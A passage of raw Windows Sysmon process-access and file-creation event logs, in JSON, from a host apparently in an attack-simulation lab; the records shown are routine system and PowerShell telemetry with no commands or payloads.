12:05:14.494","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:15","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8586,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:14.494\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:14.494","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:15","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8587,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:14.494\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:14.494","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:15","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8588,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:14.494\r\nSourceProcessGUID: {90617006-4377-5F2D-0000-001020F31100}\r\nSourceProcessId: 2488\r\nSourceThreadId: 4240\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-437A-5F2D-0000-001051001200}\r\nTargetProcessId: 4712\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3332f6|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b5560|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b4f07|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+daf5cbeb|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+da3fdcc5|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+da3fd996|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+daeaedab|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+da3be52c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+da41c9fb|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+da400060|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+da400060|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+da3ffef1|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+da3f1e76|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+da3fe3a9|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+da3fdf9c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+da3fdcc5|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+da3fd996|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+daeaedab|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+da3e47f7|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+da3e3dc7","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:14.494","SourceProcessGUID":"{90617006-4377-5F2D-0000-001020F31100}","SourceProcessId":"2488","SourceThreadId":"4240","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-437A-5F2D-0000-001051001200}","TargetProcessId":"4712","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3332f6|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b5560|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b4f07|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+daf5cbeb|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+da3fdcc5|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+da3fd996|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+daeaedab|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+da3be52c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+da41c9fb|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+da400060|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+da400060|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+da3ffef1|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+da3f1e76|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+da3fe3a9|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+da3fdf9c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+da3fdcc5|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+da3fd996|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+daeaedab|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+da3e47f7|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+da3e3dc7","EventReceivedTime":"2020-08-07 12:05:15","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8589,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:14.494\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-437A-5F2D-0000-001051001200}\r\nTargetProcessId: 4712\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:14.494","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-437A-5F2D-0000-001051001200}","TargetProcessId":"4712","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:05:15","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8590,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:14.526\r\nSourceProcessGUID: {90617006-4376-5F2D-0000-0010B5ED1100}\r\nSourceProcessId: 3360\r\nSourceThreadId: 872\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-437A-5F2D-0000-001051001200}\r\nTargetProcessId: 4712\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:14.526","SourceProcessGUID":"{90617006-4376-5F2D-0000-0010B5ED1100}","SourceProcessId":"3360","SourceThreadId":"872","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-437A-5F2D-0000-001051001200}","TargetProcessId":"4712","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:15","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8591,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:15.590\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-437A-5F2D-0000-001051001200}\r\nTargetProcessId: 4712\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:15.590","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-437A-5F2D-0000-001051001200}","TargetProcessId":"4712","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:17","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":8592,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:05:15.795\r\nProcessGuid: {90617006-436E-5F2D-0000-0010C1E51100}\r\nProcessId: 3544\r\nImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Temp\\dd8-0\\PresentationFramework.dll\r\nCreationUtcTime: 2020-08-07 12:05:15.795","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:05:15.795","ProcessGuid":"{90617006-436E-5F2D-0000-0010C1E51100}","Image":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Temp\\dd8-0\\PresentationFramework.dll","CreationUtcTime":"2020-08-07 12:05:15.795","EventReceivedTime":"2020-08-07 12:05:17","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:19","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":8593,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:17.354\r\nProcessGuid: {90617006-437A-5F2D-0000-001051001200}\r\nProcessId: 4712\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\Users\\Administrator\\AppData\\Local\\Temp\\__PSScriptPolicyTest_2rkoma3a.0m0.ps1\r\nCreationUtcTime: 2020-08-07 12:05:17.354","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 12:05:17.354","ProcessGuid":"{90617006-437A-5F2D-0000-001051001200}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\Users\\Administrator\\AppData\\Local\\Temp\\__PSScriptPolicyTest_2rkoma3a.0m0.ps1","CreationUtcTime":"2020-08-07 12:05:17.354","EventReceivedTime":"2020-08-07 12:05:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:19","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8594,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process 